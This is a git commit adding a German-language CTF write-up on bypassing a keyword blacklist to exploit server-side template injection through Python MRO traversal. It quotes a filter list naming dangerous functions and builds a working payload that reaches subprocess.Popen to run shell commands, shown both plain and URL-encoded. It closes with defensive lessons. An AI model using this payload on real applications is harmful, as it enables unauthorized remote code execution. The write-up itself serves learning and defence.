Added writeups
This commit is contained in:
108
de/render_me_this_one_more_time.md
Normal file
108
de/render_me_this_one_more_time.md
Normal file
@@ -0,0 +1,108 @@
|
||||
# Render Me This (One More Time)
|
||||
|
||||
Willkommen zum Write-up für **Render Me This (One More Time)**. Dies ist die Fortsetzung der vorherigen SSTI-Challenge, mit "verbesserten" Sicherheitsfiltern.
|
||||
|
||||
Wir haben erneut die Aufgabe, eine **Server-Side Template Injection (SSTI)** Schwachstelle auszunutzen, um die Flagge zu lesen, aber dieses Mal müssen wir eine strenge Blacklist umgehen, die die meisten Standard-Angriffsvektoren blockiert.
|
||||
|
||||
---
|
||||
|
||||
## 1. Erste Erkundung
|
||||
|
||||
Die Challenge ist identisch mit der vorherigen, aber mit einer neuen Beschreibung:
|
||||
> "Wir haben unsere Sicherheitsfilter aktualisiert. Wir haben erkannt, dass es eine schlechte Idee war, Leute Dinge importieren zu lassen, also haben wir alle gefährlichen Schlüsselwörter verbannt."
|
||||
|
||||
Dies impliziert, dass unser vorheriger Payload (der `import`, `os` und `popen` verwendete) blockiert wird.
|
||||
|
||||
## 2. Quellcode-Analyse
|
||||
|
||||
Untersuchen wir die neue `app.py`, um die Einschränkungen zu sehen:
|
||||
|
||||
```python
|
||||
BLACKLIST = [
|
||||
"import", "os", "system", "popen", "flag", "config", "eval", "exec",
|
||||
"request", "url_for", "self", "g", "process",
|
||||
"+", "~", "%", "format", "join", "chr", "ascii"
|
||||
]
|
||||
```
|
||||
|
||||
Dies ist eine **heftige** Blacklist.
|
||||
* **Keine globalen Objekte:** Wir können `request`, `url_for` oder `self` nicht verwenden, um auf den globalen Geltungsbereich (`__globals__`) zuzugreifen.
|
||||
* **Keine String-Konstruktion:** Wir können `+` oder `join` nicht verwenden, um Keyword-Filter zu umgehen (z.B. `'o'+'s'` wird blockiert).
|
||||
* **Keine Formatierung:** Wir können keine String-Formatierungstricks verwenden.
|
||||
|
||||
Dies zwingt uns, einen Weg zu finden, Code auszuführen, indem wir nur die Objekte verwenden, die bereits im Template-Kontext verfügbar sind (wie Strings `""` oder Listen `[]`), und deren Vererbungshierarchie durchlaufen.
|
||||
|
||||
## 3. Die Schwachstelle: MRO Traversal
|
||||
|
||||
In Python hat jedes Objekt eine Method Resolution Order (MRO), die die Klassenhierarchie definiert. Wir können dies zu unserem Vorteil nutzen, um auf mächtige Klassen zuzugreifen, ohne etwas importieren zu müssen.
|
||||
|
||||
### Schritt 1: Zugriff auf das Basisobjekt
|
||||
Wir beginnen mit einer einfachen leeren Liste `[]`. In Python ist `[]` eine Instanz der Klasse `list`.
|
||||
`{{ [].__class__ }}` --> `<class 'list'>`
|
||||
|
||||
Von der `list`-Klasse können wir eine Ebene höher zu ihrer Elternklasse gehen, welche `object` ist.
|
||||
`{{ [].__class__.__base__ }}` --> `<class 'object'>`
|
||||
|
||||
### Schritt 2: Auflisten aller Unterklassen
|
||||
Die `object`-Klasse ist die Wurzel aller Klassen in Python. Entscheidend ist, dass sie eine Methode namens `__subclasses__()` hat, die eine Liste **aller einzelnen Klassen** zurückgibt, die derzeit in der Anwendung geladen sind.
|
||||
|
||||
`{{ [].__class__.__base__.__subclasses__() }}`
|
||||
|
||||
Wenn Sie diesen Payload in die URL injizieren (`?name={{[].__class__.__base__.__subclasses__()}}`), zeigt die Seite eine riesige Liste von Klassen an wie:
|
||||
`[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ... <class 'subprocess.Popen'>, ...]`
|
||||
|
||||
### Schritt 3: Finden von `subprocess.Popen`
|
||||
Wir müssen den Index der Klasse `subprocess.Popen` in dieser Liste finden. Diese Klasse ermöglicht es uns, neue Prozesse zu starten und Systembefehle auszuführen.
|
||||
|
||||
Sie können die Ausgabe von der Webseite in einen Texteditor kopieren und nach "subprocess.Popen" suchen. Alternativ können Sie ein kleines Skript schreiben, um den Index lokal zu finden (wenn Sie dieselbe Umgebung haben).
|
||||
In dieser spezifischen Challenge-Umgebung befindet sich `subprocess.Popen` am Index **361**.
|
||||
|
||||
(Hinweis: Wenn 361 nicht funktioniert, müssen Sie möglicherweise umliegende Zahlen wie 360 oder 362 ausprobieren, da der Index je nach Python-Version und installierten Bibliotheken leicht variieren kann).
|
||||
|
||||
### Schritt 4: Instanziierung von Popen
|
||||
Jetzt, da wir die Klasse haben (bei Index 361), können wir sie instanziieren, genau wie beim Aufruf einer Funktion. Wir wollen einen Shell-Befehl ausführen.
|
||||
|
||||
Der `Popen`-Konstruktor nimmt einen Befehl als Liste oder String entgegen. Wir müssen auch `shell=True` setzen, um Shell-Befehle auszuführen, und `stdout=-1`, um die Ausgabe zu erfassen.
|
||||
|
||||
`...[361]('command', shell=True, stdout=-1)`
|
||||
|
||||
### Schritt 5: Umgehung des "flag"-Filters
|
||||
Wir wollen `cat flag.txt` ausführen. Das Wort "flag" steht jedoch auf der `BLACKLIST`.
|
||||
Wir können dies leicht mit einem Shell-Wildcard umgehen: `cat fl*`.
|
||||
Die Shell wird `fl*` automatisch zu `flag.txt` erweitern.
|
||||
|
||||
Unser Befehl lautet also: `'cat fl*'`
|
||||
|
||||
### Schritt 6: Lesen der Ausgabe
|
||||
Das `Popen`-Objekt erstellt einen Prozess, gibt aber die Ausgabe nicht direkt zurück. Wir müssen die Methode `.communicate()` auf dem erstellten Prozessobjekt aufrufen. Diese Methode wartet darauf, dass der Befehl beendet ist, und gibt ein Tupel zurück, das `(stdout, stderr)` enthält.
|
||||
|
||||
## 4. Der finale Payload
|
||||
|
||||
Wenn wir alles zusammenfügen, konstruieren wir die vollständige Injection:
|
||||
|
||||
1. Beginne mit einer Liste: `[]`
|
||||
2. Hole die `object`-Klasse: `.__class__.__base__`
|
||||
3. Hole alle Unterklassen: `.__subclasses__()`
|
||||
4. Wähle `subprocess.Popen`: `[361]`
|
||||
5. Instanziiere mit Befehl: `('cat fl*', shell=True, stdout=-1)`
|
||||
6. Hole Ausgabe: `.communicate()`
|
||||
|
||||
**Finaler Payload:**
|
||||
`{{ [].__class__.__base__.__subclasses__()[361]('cat fl*', shell=True, stdout=-1).communicate() }}`
|
||||
|
||||
**Kodierte URL:**
|
||||
`?name={{[].__class__.__base__.__subclasses__()[361]('cat%20fl*',shell=True,stdout=-1).communicate()}}`
|
||||
|
||||
## 5. Die Lösung
|
||||
|
||||
Senden Sie die kodierte URL an den Server. Die Seite rendert die Ausgabe des Befehls und enthüllt die Flagge.
|
||||
|
||||
**Flag:** `{flag:MRO_Trav3rsal_Is_The_Way_To_Go}`
|
||||
|
||||
---
|
||||
|
||||
## Gelernte Lektionen
|
||||
|
||||
* **Blacklisting ist zwecklos:** Selbst mit strengen Filtern, die globale Objekte und String-Manipulation blockieren, ermöglicht die grundlegende Natur des Python-Objektmodells die Codeausführung via MRO Traversal.
|
||||
* **Sandboxing ist schwer:** Wenn Sie von Benutzern eingereichten Code/Templates zulassen müssen, benötigen Sie eine robuste Sandbox (wie das Entfernen von `__subclasses__` oder die Verwendung einer sicheren Template-Engine wie Jinja2s `SandboxedEnvironment`), nicht nur einen Wortfilter.
|
||||
* **Least Privilege:** Stellen Sie sicher, dass die Webanwendung mit minimalen Berechtigungen läuft, damit der Schaden begrenzt bleibt, selbst wenn eine Codeausführung erreicht wird.
|
||||
Reference in New Issue
Block a user